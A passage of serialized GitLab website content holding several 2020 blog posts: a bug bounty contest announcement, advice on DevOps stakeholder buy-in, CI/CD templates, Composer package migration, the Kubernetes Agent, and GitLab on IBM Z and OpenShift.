recognizing you – the amazing hackers who contribute to our program – [last year](/blog/bugs-bounties-and-cherry-browns/) when we celebrated our one year anniversary of [taking our bug bounty program public](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) that we’re doing it again.\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Two-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center} \n\n**We are running a community hacking contest starting October 1 (4 am UTC) until November 30, 2020 (4 pm UTC).** Just find and report a bug to our [HackerOne bug bounty program](https://hackerone.com/gitlab) and you're entered to win. The top contributor in the following categories will receive a special reward:  \n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. This one goes out to all the new reporters out there.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Best written report.** See above. A well-written report goes a long way to demonstrate impact and to help us reproduce the problem efficiently and accurately.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate true out-of-the-box thinking in their approach to finding bugs. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, these high-risk, high-reward vulnerabilities are what we’re all looking for.\n{: #id-rocket} \n\n**The winners will be announced on Dec. 14, 2020 (that's a new date!) via a [GitLab blog](/blog/) post.** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings.   \n\n*And, because everyone needs a laugh ... here's a joke that hints at a little something the winners will get:* \n\n{::options parse_block_html=\"true\" /}\n**Why does a keyboard work 24 hrs a day?**\n{: .text-center}\n\nBecause it has 2 shifts! Badum bum 🥁\n\nHappy hacking!\n\nCover image by [meo](https://www.pexels.com/@xespri?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/)\n{: .note}\n",[674,1938],{"slug":21683,"featured":6,"template":678},"top-tips-for-better-bug-bounty-reports-and-a-hacker-contest","content:en-us:blog:top-tips-for-better-bug-bounty-reports-and-a-hacker-contest.yml","Top Tips For Better Bug Bounty Reports And A Hacker Contest","en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest.yml","en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest",{"_path":21689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21690,"content":21696,"config":21701,"_id":21703,"_type":16,"title":21704,"_source":17,"_file":21705,"_stem":21706,"_extension":20},"/en-us/blog/devops-stakeholder-buyin",{"title":21691,"description":21692,"ogTitle":21691,"ogDescription":21692,"noIndex":6,"ogImage":21693,"ogUrl":21694,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21694,"schema":21695},"Need DevOps buy-in? Here's how to convince stakeholders","If you need to make the case for DevOps to a non-technical crowd, it's important to be prepared. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681597/Blog/Hero%20Images/speedphoto.jpg","https://about.gitlab.com/blog/devops-stakeholder-buyin","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Need DevOps buy-in? Here's how to convince stakeholders\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-09-24\",\n      }",{"title":21691,"description":21692,"authors":21697,"heroImage":21693,"date":21698,"body":21699,"category":8943,"tags":21700},[17272],"2020-09-24","\n\nWe know that DevOps is key to staying nimble in an increasingly competitive marketplace, but chances are your colleagues in finance or marketing aren’t as well-informed about software development.\n\nOne of the major challenges technology teams embedded in non-tech organizations face is convincing key business stakeholders to invest in cutting-edge methodologies such as [DevOps](/topics/devops/). Oftentimes, this challenge comes down to ineffective communication and misaligned incentives.\n\n\"Unfortunately, the divide between these incentives and the misalignment in these incentives is not exclusively held between developers and operators, the similar divide exists between the business and IT, in fact, in the business, they may not even be able to tell the difference between developers and operators, it's all IT to them,\" said [Nathen Harvey](https://twitter.com/nathenharvey), Developer Advocate from Google, at GitLab Virtual Commit. \"Much like from my perspective, it's just the business: finance, marketing, accounting, they all go together and blur in my head.\"\n\nThe best way to get stakeholders to buy-in to DevOps? Align incentives, think big picture, lead with empathy, and come prepared with evidence about the business value of DevOps.\n\n## Align incentives on your technology team\n\nBefore approaching the key decision-makers about investing in DevOps, make sure there is consensus among dev and ops about what direction you’re moving in. The tension between dev and ops teams is well documented: Developers tend to want greater agility, while operators want more stability.\n\n\"We turn to our developers and we say, 'Your job is to build and ship features as fast as possible, your job is agility,'\" said Nathen. \"And then we turn to our operators and we say, 'Your job (is to) make sure that the platform is stable, that nothing ever breaks.'\"\n\nThe good news is, DevOps is a way to have the best of both worlds.\n\nBefore he joined Google, Nathen worked for a retail company where his responsibility was to push the \"deploy\" button to ship new software updates every two weeks. There was a lot of ceremony around deployments, but there was also an office pool about how many of those changes would be rolled back.\n\nResearch by Google Cloud’s DevOps Research and Assessment (DORA) shows that teams that ship smaller features move faster while maintaining a more stable production environment, with numbers to prove it. When comparing the elite performers with the low performers, elite DevOps performers manage to balance speed and stability:\n\n*   Deploy code 208 times more frequently\n*   106 times faster from commit to deploy\n*   Changes are likely to fail just 1/7 of the time\n*   2604 times faster recovery time from incidents\n\nOnce you have developers and operators clamoring for DevOps, it’s time to move on to the next stakeholder tier.\n\n## Think about the business you work for\n\nGitLab is a software company, so we’re always thinking about new ways to deploy faster and more nimble code. If our developers found a new way to achieve this, we’re all ears. Most of our customers don't work for tech companies, but the most successful ones have found a way to make technology relevant to their business’ mission.\n\nFor example, [Delta Airlines found a way to go cloud native](/blog/delta-cloud-native/) because it fit into their mission of business agility. Whether you’re in transportation or e-commerce, business agility is something we can all agree on. Make a list of the top three priorities for your company and think about what your customers want (e.g., in the pandemic it may be an app with reliable curbside pick-up). Think about your company’s mission and business strategy and sketch out a compelling case for why DevOps will help your business edge out the competition.\n\n## Lead with empathy and think strategically\n\nBefore approaching your collaborators on the business side of things, put yourself in their shoes. Think in-depth about their motivations and goals to find the most compelling way to communicate with them.\n\nFirst, write your problem statement (e.g., \"I want to adopt a more agile DevOps strategy\"). Next, identify three key stakeholders across different teams on the business side of things (e.g., Max in Marketing, Alex in Accounting, and Lee in Legal). After that, conduct an informal thought exercise to enable more empathetic and strategic thinking:\n\n*   Look at their job description. What are their core responsibilities?\n*   Think about resourcing. What are their resource constraints?\n*   What is their level of influence over the decision? Grade their influence on a scale of one to five (one being low influence, five being high influence)\n*   How does helping your tech team be more agile impact their team’s performance and goals?\n\nIn the end, communicating with stakeholders about DevOps is all about finding common ground.\n\n## Close with evidence\n\nLet’s face it, the business side of your organization might not know the difference between a developer and an ops pro any more than you understand the intricacies of accounting, and that’s OK. So long as things aren’t broken, the gatekeepers are probably disinclined to fix it. But what if you can demonstrate just how much better things could be with a more [agile software delivery strategy](/solutions/agile-delivery/)?\n\nThe DORA team at Google created a [rigorous State of DevOps research program](https://www.devops-research.com/research.html) that assesses how different industries can improve software delivery. A simple five-question survey on five DevOps capabilities will rank your team into four tiers of performance – between low performer and elite performer.\n\nEvaluating your progress is key. Nathen's deployments at a previous employer had good \"time to restore\" rates but the fail change rate was between 16-30%, a metric that leaves a lot of room for improvement.\n\n\"We felt like we were doing really well, and in fact, we were, we had made a ton of great progress, but there were still lots of opportunities for us to improve,\" said Nathen. \"So using this quick check can help you and your team identify where are some opportunities for you to improve? How do you stand up against the others within your industry?\"\n\nIn the end, Nathen’s team ranked as a medium performer. So how does your team line-up? By coming prepared to the meeting with evidence on concrete ways a DevOps methodology can lead to more business agility, you are more likely to get the endorsement of key stakeholders on your plan.\n\n## Learn more about measuring software delivery\n\nLearn more about measuring DevOps by watching the keynote featuring Nathen and Dina Graves Portman from GitLab Virtual Commit. [Watch the other keynotes](https://www.youtube.com/playlist?list=PLFGfElNsQthYQaTiUPQcu4O0O20WHZksz), including a [presentation](https://youtu.be/xn_WP4K9dl8) by [GitLab CEO Sid Sijbrandij](/company/team/#sytses).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/yUyZExE-5TU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [CHUTTERSNAP](https://unsplash.com/@chuttersnap?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/speed?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[4103,4772,2368],{"slug":21702,"featured":6,"template":678},"devops-stakeholder-buyin","content:en-us:blog:devops-stakeholder-buyin.yml","Devops Stakeholder Buyin","en-us/blog/devops-stakeholder-buyin.yml","en-us/blog/devops-stakeholder-buyin",{"_path":21708,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21709,"content":21715,"config":21720,"_id":21722,"_type":16,"title":21723,"_source":17,"_file":21724,"_stem":21725,"_extension":20},"/en-us/blog/get-started-ci-pipeline-templates",{"title":21710,"description":21711,"ogTitle":21710,"ogDescription":21711,"noIndex":6,"ogImage":21712,"ogUrl":21713,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21713,"schema":21714},"How to use GitLab’s CI/CD pipeline templates","Learn how pipeline templates and Auto DevOps can get you up and running on GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667139/Blog/Hero%20Images/CI-pipeline-templates.jpg","https://about.gitlab.com/blog/get-started-ci-pipeline-templates","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab’s CI/CD pipeline templates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-09-23\",\n      }",{"title":21710,"description":21711,"authors":21716,"heroImage":21712,"date":21717,"body":21718,"category":8943,"tags":21719},[18462],"2020-09-23","\nWriting deployment pipelines from scratch is a real pain in the branch. We want to make the [continuous integration](/topics/ci-cd/) experience more automatic so teams can get up and running quickly with [GitLab CI/CD](/topics/ci-cd/).\n\nAn easy way to get started is with GitLab’s CI/CD pipeline templates. Pipeline templates come in **more than 30** popular programming languages and frameworks. We’ll show you how to use these pipeline templates for your specific needs.\n\nFor an even more automatic continuous integration experience, we also offer [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) that does much of the legwork for you. Auto DevOps runs on pipelines automatically when a [Dockerfile or matching buildpack](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build) exists, and identifies dependencies automatically.\n\n## What are CI pipeline templates?\n\n[Pipelines](https://docs.gitlab.com/ee/ci/pipelines/) are an integral component of both continuous integration (CI) and [continuous delivery (CD)](/topics/continuous-delivery/), and continuous deployment (the other \"CD\"). A deployment pipeline consists of two things:\n\n*   Jobs, which define _what_ to do. For example, jobs that compile or test code.\n*   Stages, which define _when_ to run the jobs. For example, stages that run tests after stages that compile the code.\n\nPipelines consist of one or more stages that run in order and can each contain one or more jobs that run in parallel. These jobs (or scripts) get run by agents, such as a [GitLab Runner](https://docs.gitlab.com/runner/).\n\nAt GitLab, pipelines are defined in a `gitlab-ci.yml` file. [CI/CD templates](https://docs.gitlab.com/ee/ci/examples/#cicd-templates) incorporate your favorite programming language or framework into this YAML file. Instead of building pipelines from scratch, CI/CD templates simplify the process by having parameters already built-in.\n\nYou can choose one of these templates when you create a `gitlab-ci.yml` file in the UI.\n\n![GitLab CI pipeline templates](https://docs.gitlab.com/ee/ci/img/add_file_template_11_10.png)\n\nBecause our CI/CD templates come in more than 30 popular languages, the chances are good that we have the template you need to get started in our [CI template repository](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).\n\n## What is Auto DevOps?\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) is a GitLab-exclusive feature that provides predefined CI/CD configurations that automatically detect, build, test, deploy, and monitor your applications. Rather than just accessing a template, Auto DevOps is a setting within your GitLab instance that is [enabled by default](https://docs.gitlab.com/ee/topics/autodevops/#enabled-by-default).\n\nOur [product vision for Auto DevOps](/direction/delivery/auto_devops/) is that everything is fully connected as part of one great GitLab experience. The term Auto DevOps actually comes from the different parts that are automated by Auto DevOps:\n\n*   \"Auto CI\" – Compile and test software based on best practices for the most common languages and frameworks.\n*   \"Auto review\" – Automatic analysis tools like Code Climate.\n*   \"Auto deploy\" – Based on [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) and incremental rollouts on Kubernetes clusters.\n*   \"Auto metrics\" – Collect statistical data from all the previous steps in order to guarantee performances and optimization of the whole process.\n\nAuto DevOps provides great defaults for all the stages and makes use of CI templates. You can [customize Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/customize.html) to meet your needs, and [manage Auto DevOps with GitLab APIs](https://docs.gitlab.com/ee/topics/autodevops/customize.html#extend-auto-devops-with-the-api).\n\nLearn more about Auto DevOps, check out this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/0Tc0YYBxqi4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Other CI/CD resources\n\nGitLab also provides [CI/CD examples](https://docs.gitlab.com/ee/ci/examples/) so you can learn how to implement GitLab CI/CD for your specific use case. In addition to template files, you can find repositories with sample projects, and step-by-step tutorials for a variety of scenarios, including:\n\n*   [DevOps and Game Dev with GitLab CI/CD](https://docs.gitlab.com/ee/ci/examples/)\n*   [Test and deploy a Ruby application with GitLab CI/CD](https://docs.gitlab.com/ee/ci/examples/)\n*   [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://docs.gitlab.com/ee/ci/examples/)\n*   ... And many others\n\nWith CI/CD templates and our Auto DevOps product feature, teams can start reaping the benefits of continuous integration without all of the manual configurations. For teams managing sometimes _hundreds_ of projects, it’s not realistic or doable to start from scratch. And with GitLab, you don’t have to.\n\nCurious about our best-in-class continuous integration? [Try GitLab free for 30 days](/free-trial/).\n\n## Related reads\n\n*   [\"A beginner's guide to continuous integration\"](/blog/a-beginners-guide-to-continuous-integration/)\n\n*   [\"Want a more effective CI/CD pipeline? Try our pro tips\"](/blog/effective-ci-cd-pipelines/)\n\n*   [\"3 CI/CD challenges to consider\"](/blog/modernize-your-ci-cd/)\n\nCover image by [chuttersnap](https://unsplash.com/@chuttersnap?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/laboratory?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,2250,4103],{"slug":21721,"featured":6,"template":678},"get-started-ci-pipeline-templates","content:en-us:blog:get-started-ci-pipeline-templates.yml","Get Started Ci Pipeline Templates","en-us/blog/get-started-ci-pipeline-templates.yml","en-us/blog/get-started-ci-pipeline-templates",{"_path":21727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21728,"content":21734,"config":21740,"_id":21742,"_type":16,"title":21743,"_source":17,"_file":21744,"_stem":21745,"_extension":20},"/en-us/blog/gitlab-composer-packages-migration-path",{"title":21729,"description":21730,"ogTitle":21729,"ogDescription":21730,"noIndex":6,"ogImage":21731,"ogUrl":21732,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21732,"schema":21733},"Migrate composer packages to GitLab","GitLab Packages now ships with a composer registry","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681586/Blog/Hero%20Images/gitlab-composer-package-migration.jpg","https://about.gitlab.com/blog/gitlab-composer-packages-migration-path","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrate composer packages to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jochen Roth\"}],\n        \"datePublished\": \"2020-09-22\",\n      }",{"title":21729,"description":21730,"authors":21735,"heroImage":21731,"date":21737,"body":21738,"category":18484,"tags":21739},[21736],"Jochen Roth","2020-09-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Manage Composer Packages in Gitlab\n\nWith Gitlab 13.3, a repository for composer packages was introduced. This allows you to store and manage your private and public composer packages in your Gitlab instance.\n\n### Create Packages\n\nCreating packages is only a matter of adding the composer template to your `.gitlab-ci.yml`. Gitlab will automatically create a package when a git tag was created or a commit was pushed to a branch.\n\n[\u003Cimg src=\"/images/blogimages/select-template.png\" width=\"500\" height=\"auto\">](/images/blogimages/select-template.png)\n\n### Migrate your Packages to Gitlab\n\nYou might wonder how to create packages for your existing tags of each repository.\n\nYou have 2 options:\n\n1. Use curl to create packages manually e.g. ```curl --data tag=1.0.0 'https://__token__:\u003Cpersonal-access-token>@gitlab.com/api/v4/projects/\u003Cproject_id>/packages/composer'```\n2. Use [this package](https://gitlab.com/ochorocho/gitlab-create-package-versions), which will create all packages and their versions for you using the Gitlab API.\n\n## Conclusion\n\nSo far it is working pretty well. Publish and install packages works flawlessly. Managing permissions for a package is a breeze.\n\nCurrently there is only a group endpoint. I could imagine others may require an instance endpoint to be able to access all packages of a Gitlab instance using a single endpoint/repository.\nFor now you have to add multiple endpoints/repositories to your composer.json for each group.\n\nIn my company, one group contains all shared projects and we were able circumvent adding multiple endpoints/repositories.\n\nThere is always room for improvement. For example, the GUI should show more [details about the size of packages and how it was published (manually or via CI)](https://gitlab.com/gitlab-org/gitlab/-/issues/254385) and [semantic versioning is not fully supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240887).\nIf you are interested in GitLab or Composer, both issues are great ways to contribute, so that we can continue to improve this product together.\n\n## Resources\n\n* [GitLab Packages Docs](https://docs.gitlab.com/ee/user/packages/composer_repository/)\n* [Composer Docs](https://getcomposer.org/doc/)\n* [Migrate to Gitlab Packages](https://gitlab.com/ochorocho/gitlab-create-package-versions)\n",[815,1444,232],{"slug":21741,"featured":6,"template":678},"gitlab-composer-packages-migration-path","content:en-us:blog:gitlab-composer-packages-migration-path.yml","Gitlab Composer Packages Migration Path","en-us/blog/gitlab-composer-packages-migration-path.yml","en-us/blog/gitlab-composer-packages-migration-path",{"_path":21747,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21748,"content":21753,"config":21757,"_id":21759,"_type":16,"title":21760,"_source":17,"_file":21761,"_stem":21762,"_extension":20},"/en-us/blog/introducing-the-gitlab-kubernetes-agent",{"title":21749,"description":21750,"ogTitle":21749,"ogDescription":21750,"noIndex":6,"ogImage":17364,"ogUrl":21751,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21751,"schema":21752},"Understand the new GitLab Agent for Kubernetes","Just released in 13.4, our brand new Kubernetes Agent provides a secure and K8s–friendly approach to integrating GitLab with your clusters.","https://about.gitlab.com/blog/introducing-the-gitlab-kubernetes-agent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understand the new GitLab Agent for Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2020-09-22\",\n      }",{"title":21749,"description":21750,"authors":21754,"heroImage":17364,"date":21737,"body":21755,"category":734,"tags":21756},[2544],"\n\nWe are happy to share the first iteration of the GitLab Agent for Kubernetes with our users and community. The Agent is the foundation for the next generation of the integration between GitLab and Kubernetes. \n\n## A bit of history of the GitLab Kubernetes Integrations\n\nGitLab's current Kubernetes integrations were introduced more than three years ago. Their primary goal was to allow a simple setup of clusters and provide a smooth deployment experience to our users. These integrations served us well in the past years but at the same time its weaknesses were limiting for some important and crucial use cases. The biggest weaknesses we see with the current integration are:\n\n- the requirement to open up the cluster to the internet, especially to GitLab\n- the need for cluster admin rights to get the benefit of GitLab Managed Clusters\n- exclusive support for push-based deployments that might not suit some highly regulated industries\n\nA few months ago, the Configure Team at GitLab started going in a new direction to come up with an integration that could address these weaknesses and provide a cloud native tie-in between GitLab and Kubernetes. This new direction is built on the GitLab Agent for Kubernetes, which we released in [GitLab 13.4](/releases/2020/09/22/gitlab-13-4-released/).\n\n## Design goals\n\nWhen we sat down to solve for the above weaknesses, we came up with a few principles that we are seeking to follow.\n\nWe want to be good cloud native citizens, and work together with the community, instead of reinventing the wheel.\n\nWe primarily want to serve expert Kubernetes platform engineers. While the current GitLab Managed Clusters and cluster creation from within GitLab might serve many use cases, it's primarily aimed at simple cluster setup and is not flexible enough to be the basis for production clusters. We want to change this approach, and are focusing on the needs of expert Kubernetes engineers first. We think that coming up with sane defaults will provide the necessary simplicity for new Kubernetes users as well.\n\nWe want to offer a secure solution that allows cluster operators to restrict GitLab's rights in the cluster and does not require opening up the cluster to the Internet.\n\n## The Agent\n\nFollowing the above goals, we've started to develop the GitLab Agent for Kubernetes. The Agent provides a permanent communication channel between GitLab and the cluster. To follow industry best practices for [GitOps](/topics/gitops/) it is configured by code, instead of a UI.\n\nThe current version of the Agent allows for pull-based deployments. Its deployment machinery is built on the [`gitops-engine`](https://github.com/argoproj/gitops-engine), a project initiated by ArgoCD and Flux where GitLab engineers are actively contributing as well.\n\n### Setting up the GitLab Agent\n\nThe Agent needs to be set up first. This requires a few actions from the user:\n\n- create an Agent token for authentication with GitLab, and store it in your cluster as a secret\n- commit the necessary Agent configurations in one of your repositories\n- install the Agent to your cluster\n\n### Deployments with an Agent\n\nAs mentioned above, the Agent needs a configuration directory inside one of your repositories. This configuration describes the projects that the Agent syncs into your clusters. We call the synced projects the __manifest project__. The manifest project should contain Kubernetes manifest files. The __manifest project__ project might be either inside or separated from your application code.\n\nWe've set up a simple example that shows a __manifest project__ and an __application project__. In this example [GitLab CI/CD](/topics/ci-cd/) in the __application project__ is used to create a container image and update the __manifest project__. Then the Agent picks up the changes from the __manifest project__, and deploys the Kubernetes manifests stored there.\n\n### Limitations\n\nAs this is the initial release of the Agent, it has many known limitations. We don't support all the amazing features the previous GitLab Kubernetes integration does such as [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/), deploy boards, GitLab Managed Apps, etc. To start in GitLab 13.4 we limited our focus to supporting pull-based deployment for Helm-based GitLab installations. \n\nFollowing the current release, we will be focusing on:\n\n- [shipping the GitLab Agent for Kubernetes as part of the Official Linux Package](https://gitlab.com/groups/gitlab-org/-/epics/3834)\n- [supporting the deployment of private repositories](https://gitlab.com/gitlab-org/gitlab/-/issues/220912)\n\n## Further plans for GitLab Kubernetes Integrations\n\nThe Agent opens up many new opportunities for GitLab's Kubernetes integrations. Having an active component allows us to provide all the GitLab functionalities in locked down clusters as well. We're currently looking into the following areas to support with the agent:\n\n- integrate cluster-side dynamic container scanning with GitLab\n- use GitLab as an authentication and authorization provider for Kubernetes clusters\n- offer linters and checks for Kubernetes best practices on deployed resources\n- proxy cluster services easily through GitLab\n\nYou can see all our plans in the [Agent epic](https://gitlab.com/groups/gitlab-org/-/epics/3329) where we invite you to give us feedback and about this direction. \n\nYou can view a demo of how to install and use the GitLab Agent below:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/505413162\" width=\"640\" height=\"480\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n",[2509,774,3949,1444],{"slug":21758,"featured":6,"template":678},"introducing-the-gitlab-kubernetes-agent","content:en-us:blog:introducing-the-gitlab-kubernetes-agent.yml","Introducing The Gitlab Kubernetes Agent","en-us/blog/introducing-the-gitlab-kubernetes-agent.yml","en-us/blog/introducing-the-gitlab-kubernetes-agent",{"_path":21764,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21765,"content":21770,"config":21775,"_id":21777,"_type":16,"title":21778,"_source":17,"_file":21779,"_stem":21780,"_extension":20},"/en-us/blog/gitlab-and-workloads-on-ibm-z-and-red-hat-openshift",{"title":21766,"description":21767,"ogTitle":21766,"ogDescription":21767,"noIndex":6,"ogImage":13376,"ogUrl":21768,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21768,"schema":21769},"GitLab enhances DevOps journey on Linux on IBM Z and Red Hat OpenShift","GitLab integrates with IBM Linux on Z and RedHat OpenShift to help app developers deploy to more resilient systems.","https://about.gitlab.com/blog/gitlab-and-workloads-on-ibm-z-and-red-hat-openshift","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab enhances DevOps journey on Linux on IBM Z and Red Hat OpenShift\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2020-09-17\",\n      }",{"title":21766,"description":21767,"authors":21771,"heroImage":13376,"date":21772,"body":21773,"category":736,"tags":21774},[12075],"2020-09-17","\n\nSeptember 2020 marks 20 years of IBM Linux on Z. If you are using DevOps practices to develop your application on IBM Z, this article is for you. You will learn about how you can leverage GitLab integrations on these resilient systems to enhance your DevOps journey.\n\n## GitLab's journey on Linux on IBM Z and Red Hat OpenShift\n\nRegardless of whether you are using IBM Z or Red Hat OpenShift, revenue-generating applications must be up and available. For example, if a banking application or Point of Sale (POS) application is down for even just five minutes, the company runs the risk of lost revenue during application downtime. This is where high availability (HA) of container platforms like Red Hat OpenShift or hardware stacks like Linux on IBM Z shine. HA strategies such as a horizontal, vertical, consensus, or distributed architectures used by these systems are outside the scope.\n\nSo, how would developers develop and deploy the revenue-generating application to resilient systems mentioned above? How can developers deploy, patch, upgrade, and scale applications in these systems using techniques such as [canary deployments](https://docs.gitlab.com/ee/user/project/canary_deployments.html)? Developers can use GitLab and the [GitLab Runner](https://docs.gitlab.com/runner/) open-source project to run GitLab CI/CD cloud-native pipelines on these resilient systems in the following ways:\n\n* GitLab can be implemented on Linux on Z using logical partitions (LPAR) and virtualization hosts Z/VM. You can learn more about running GitLab on IBM Z using the whitepaper published by the joint GitLab and IBM teams, back in 2017. Request a copy of the whitepaper by reaching out to Suchitra Joshi at IBM (suchi@ibm.com).\n\n* GitLab, with its [13.2 release](/releases/2020/07/22/gitlab-13-2-released/), announced [GitLab Runner support for Linux on IBM Z](/releases/2020/07/22/gitlab-13-2-released/#gitlab-runner-support-for-linux-on-ibm-z). The GitLab 13.2 release supports the execution of runners on Linux on Z and has a Docker image of the runner for the platform. Developers can leverage the full GitLab CI stack through the use of SSH executors on Mainframes and can take advantage of public [GitLab CI/CD examples](https://docs.gitlab.com/ee/ci/examples/).\n\n* GitLab and Red Hat teams teamed up to develop the GitLab Runner Operator for Red Hat OpenShift. You can find GitLab Runner Operator in the OpenShift embedded OperatorHub and [Red Hat container image catalog](https://catalog.redhat.com/software/containers/gitlab/gitlab-operator/5ea09928ecb5246c0903b9d5).\n\n## DevOps, cloud native, and containers\n\nCloud computing is becoming more mainstream with [enterprise](/enterprise/) IT because it offers composability, speed, and elasticity to organizations on a global scale. Cloud computing is also ideal for big transformation projects that are trying to modernize infrastructure and software development processes. Along with cloud computing, enterprises are exploring hybrid cloud and [cloud native](/topics/cloud-native/) approaches for developing and deploying their mission-critical workloads. When it comes to cloud-native approaches, [DevOps](/topics/devops/) plays a crucial role as more and more organizations are adopting modern software development methodologies to develop and scale their workloads.\n\nIt's not a hard requirement but cloud native approaches are usually coupled with containers, which are becoming basic unit of deployment. Containers allow application developers to package and scale applications using a container orchestrator like [Kubernetes](/solutions/kubernetes/).\n\n## What is GitLab?\n\nGitLab is an open source [DevOps platform](/solutions/devops-platform/) delivered as a single application. The open source project has more than 3,000 contributors and a growing [community](/community/). GitLab fundamentally accelerates the software development lifecycle while addressing important enterprise concerns such as security and compliance. GitLab helps organizations with collaboration, version control, continuous integration (CI), continuous delivery (CD) and [DevSecOps](/solutions/security-compliance/) workflows. GitLab can integrate with existing tools using custom webhooks as well. Read up on GitLab [features](/pricing/feature-comparison/) to learn how to improve developer productivity.\n\n## Looking forward\n\nGitLab aims to help developers deploy their mission-critical applications to the resilient systems of their choice. As the joint teams increase their collaboration, we plan to announce the availability of GitLab on OpenShift in the future. You can follow the progress in the [engineering epic](https://gitlab.com/gitlab-org/gl-openshift).\n\n## Resources\n\n* [GitLab achieves CNCF KCSP status](/blog/gitlab-achieves-kcsp-status/)\n* [GitLab Runner the OpenShift Way](https://www.openshift.com/blog/installing-the-gitlab-runner-the-openshift-way)\n* [Why Linux on Z mainframe?](https://www.ibm.com/it-infrastructure/z/os/linux)\n* [Integrating IBM z/OS platform in CI pipelines with Gitlab](http://www-03.ibm.com/support/techdocs/atsmastr.nsf/WebIndex/WP102827)\n* [GitLab on Red Hat](/partners/technology-partners/redhat/)\n* [Try OpenShift](https://www.openshift.com/try)\n\nCover image by [Matt Howard](https://unsplash.com/@thematthoward) on [Unsplash](https://unsplash.com)\n{: 